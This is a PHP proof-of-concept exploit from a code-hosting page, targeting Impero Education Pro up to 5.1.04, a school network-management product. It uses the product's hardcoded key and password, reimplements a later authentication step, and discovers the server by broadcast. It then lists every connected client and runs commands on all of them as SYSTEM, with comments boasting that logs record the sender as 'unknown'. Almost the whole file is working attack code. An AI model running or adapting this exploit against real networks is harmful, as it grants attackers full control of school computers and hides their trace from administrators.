Permalink
Find file
Fetching contributors…
Cannot retrieve contributors at this time
234 lines (218 sloc) 7.44 KB
<?php
// Impero Education Pro SYSTEM-RCE PoC
// Updated for <= 5.1.04
// by slipstream/RoL^LHQ
// greets to everyone in lizardhq! :)
function PadString($str) {
$size = 16;
$pad = $size - (strlen($str) % $size);
$padstr = '';
for ($i = 1; $i < $pad; $i++)
$padstr .= chr(mt_rand(0,255));
return $str.$padstr.chr($pad);
}
function UnPadString($str) {
return substr($str,0,-(ord(substr($str,-1))));
}
function CryptString($str) {
global $ckey, $civ;
$crypted = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$ckey,PadString($str),'cbc',$civ);
return $crypted;
}
function DecryptString($str) {
global $ckey, $civ;
return UnPadString(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$ckey,$str,'cbc',$civ));
}
function SendNetwork($h,$str) {
global $socketid;
$crypted = CryptString($socketid."|".$str);
socket_write($h,strlen($crypted).'|'.$crypted);
return;
}
function RecvNetwork($h,$timeout = 0) {
$len = '';
$chr = '';
$currtime = time();
do {
$len .= $chr;
$flags = 0;
if (($len == "") && ($timeout > 0)) $flags = MSG_DONTWAIT;
socket_recv($h,$chr,1,$flags);
if (($len == "") && ($timeout > 0)) {
if (time() >= ($currtime + $timeout)) {
return "";
}
}
} while ($chr != '|');
$len = (int)($len);
if ($len < 1) die("Something's wrong. Length isn't an int.");
socket_set_block($h);
$crypted = socket_read($h,$len);
$dec = DecryptString($crypted);
global $socketid;
$dec = explode('|',$dec,2);
if ($socketid == -1) $socketid = $dec[0];
return $dec[1];
}
function Connect($host,$port = 30015) {
echo "Connecting...";
$h = socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_set_block($h);
if ((!$h) || (!socket_connect($h,$host,$port))) {
echo "failed.\n";
return false;
}
echo "done!\nAuthenticating...";
// authenticate
SendNetwork($h,"AUTHENTICATE\x02PASSWORD");
// we should get "AUTH:OK" back
$data = RecvNetwork($h);
if ($data != "AUTH:OK") {
echo "failed.\n";
return false;
}
echo "succeeded!\nNegotiating...";
// Update for v5.0.08
Do5008Auth($h);
echo "done!\n";
return $h;
}
function GetAllClients($h) {
$pline = "SENDCLIENTS\x01604\x011\x010\x02";
echo "Getting all clients...";
SendNetwork($h,$pline);
$data = RecvNetwork($h);
// grab the base64 blob
$data = array_pop(explode("\x02",$data));
// unbase64 and uncompress
// yay, in newversion it's not base64'd and compressed. handle this.
$data2 = @gzdecode(base64_decode($data));
if ($data2 != "") $data = $data2;
$ret = array();
foreach (explode("\r\n",$data) as $line) {
// we only care about clientIDs
$ret[] = array_shift(explode("\x03",$line));
}
echo "done!\n";
return $ret;
}
function RunCmd($h,$ids,$cmdline) {
global $socketid;
$ids = implode(',',$ids);
$pline = "ECHO\x01\x01".$ids."\x01SENDCOMMANDMSG\x010\x02\x01\x01".$cmdline;
echo "Sending evil RunCMD data...";
SendNetwork($h,$pline);
echo "done!\n";
// if this was a real proper negotiated client we'd get something back
// however, we aren't, and we're masquerading as client #0; thus, we don't.
// this does show up in logs, with the executed command. however, the server doesn't know who ran it, so it shows up as "unknown". :)
}
function RunExeAsSystem($h,$ids,$exe) {
global $socketid;
$ids = implode(',',$ids);
$pline = "ECHO\x01\x01".$ids."\x01OPENFILE\x010\x02".$exe."\x08\x08NT AUTHORITY\SYSTEM\x08Password";
echo "Sending evil RunEXE data...";
SendNetwork($h,$pline);
echo "done!\n";
// we don't get a response from this one
}
function FindImperoServer($if,$addr) {
$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
socket_set_option($sock,SOL_SOCKET,IP_MULTICAST_IF,$if);
$str = "ARE_YOU_IMPERO_SERVER";
socket_sendto($sock, $str, strlen($str), MSG_DONTROUTE, $addr, 30016);
socket_set_option($sock,SOL_SOCKET,SO_RCVTIMEO,array("sec"=>6,"usec"=>0));
$r = socket_recvfrom($sock, $buf, 18, 0, $remote_ip, $remote_port);
if ($buf == "I_AM_IMPERO_SERVER") return $remote_ip;
return false;
}
// 5.0.08 is the first fix attempt against this. It does not fix the underlying exploit, just adds more auth steps. :)
// Here is my implementation of that.
function DoNewAuth($challenge,$client) {
$ret = new stdClass();
// make first hash using server provided entropy, client provided entropy and the two hardcoded strings
$hashone = hash("sha512",$challenge."{edbe23f3-eeda-49ef-9155-9bab8f584c55},{b40121e9-bb21-47c2-9ff7-4cbb09ec06a8}753f".$client,true);
// make second hash (client response): 1000 rounds of sha512
$hashtwo = $hashone;
for ($i = 0; $i < 1000; $i++) $hashtwo = hash("sha512",$hashtwo,true);
$ret->response = array_pop(unpack('H*',$hashtwo));
// find a hash where first two bytes of hashtwo.salt == first two bytes of hashone
for ($i = 0;;$i++) {
$salt = dechex($i);
$hashthree = hash("sha512",$hashtwo.$salt,true);
if (($hashthree[0] === $hashone[0]) && ($hashthree[1] === $hashone[1])) break;
}
// do the same thing but with salt.hashtwo and LAST two bytes
for ($i = 0;;$i++) {
$salt = dechex($i);
$hashfour = hash("sha512",$salt.$hashtwo,true);
if (($hashfour[62] === $hashone[62]) && ($hashfour[63] === $hashone[63])) break;
}
// create the last hash from the concatenation of these two hashes
$hashfive = hash("sha512",$hashthree.$hashfour,true);
// and derive the new key/IV from this hash
$ret->key = substr($hashfive,0,0x10);
$ret->iv = substr($hashfive,0x30,0x10);
return $ret;
}
function Do5008Auth($h) {
// I know, but I don't care about the client provided part being cryptographically secure..
// fun fact: they probably don't either. the server side part definitely isn't :)
$client = "";
for ($i = 0; $i < 10; $i++) {
$client .= chr(mt_rand(0,255));
}
$client = hash("sha512",$client);
// send it to server
SendNetwork($h,"AUTHENTICATE_L1\x02".$client);
$data = explode("\x02",RecvNetwork($h,5));
if ($data[0] != "CHALLENGE_L1") {
echo "old version! ";
return false; // not what we were expecting!
}
$auth = DoNewAuth($data[1],$client);
global $ckey, $civ;
$ckey = $auth->key;
$civ = $auth->iv;
// send response to server
SendNetwork($h,"RESPONSE_L1\x02".$auth->response);
$data = explode("\x02",RecvNetwork($h));
if (($data[0] != "SERVER_AUTH_L1") || ($data[1] != "OK")) return false;
// finalise auth
SendNetwork($h,"CLIENT_AUTH_L1");
// we don't get any response from this
echo "new version! ";
return true;
}
$hash = hash('sha512','Imp3ro',true);
$ckey = substr($hash,0,0x20);
$civ = substr($hash,0x20,0x10);
$socketid = -1;
echo "[*] Impero Education Pro SYSTEM-RCE PoC by slipstream/RoL^LHQ\n";
if ($argc < 2) {
echo "[-] Usage: ".$argv[0]." <serverIPs space-delimited>\n";
echo "[*] If you pass \"detect <if> <broadcastmask>\" (without quotes) as serverIP then we will try to find an impero server, using interface and broadcast mask given.\n";
echo "[*] Example of this: ".$argv[0]." detect vboxnet0 192.168.56.255\n";
echo "[*] This PoC will pop a calc and run whoami > C:\lol.txt as SYSTEM on *every connected client*!\n";
die();
}
array_shift($argv);
foreach ($argv as $key=>$arg) {
$detected = false;
if ($arg == "detect") {
if ($key + 2 >= count($argv)) continue;
echo "[*] Finding Impero server...\n";
$arg = FindImperoServer($argv[$key+1],$argv[$key+2]);
if ($arg == false) die("[-] Cannot find Impero server\n");
echo "[+] Found Impero server at ".$arg."\n";
$detected = true;
}
$h = Connect($arg);
if ($h === false) continue;
$clients = GetAllClients($h);
RunExeAsSystem($h,$clients,"calc");
RunCmd($h,$clients,"whoami > C:\lol.txt");
echo "\n";
if ($detected) die();
}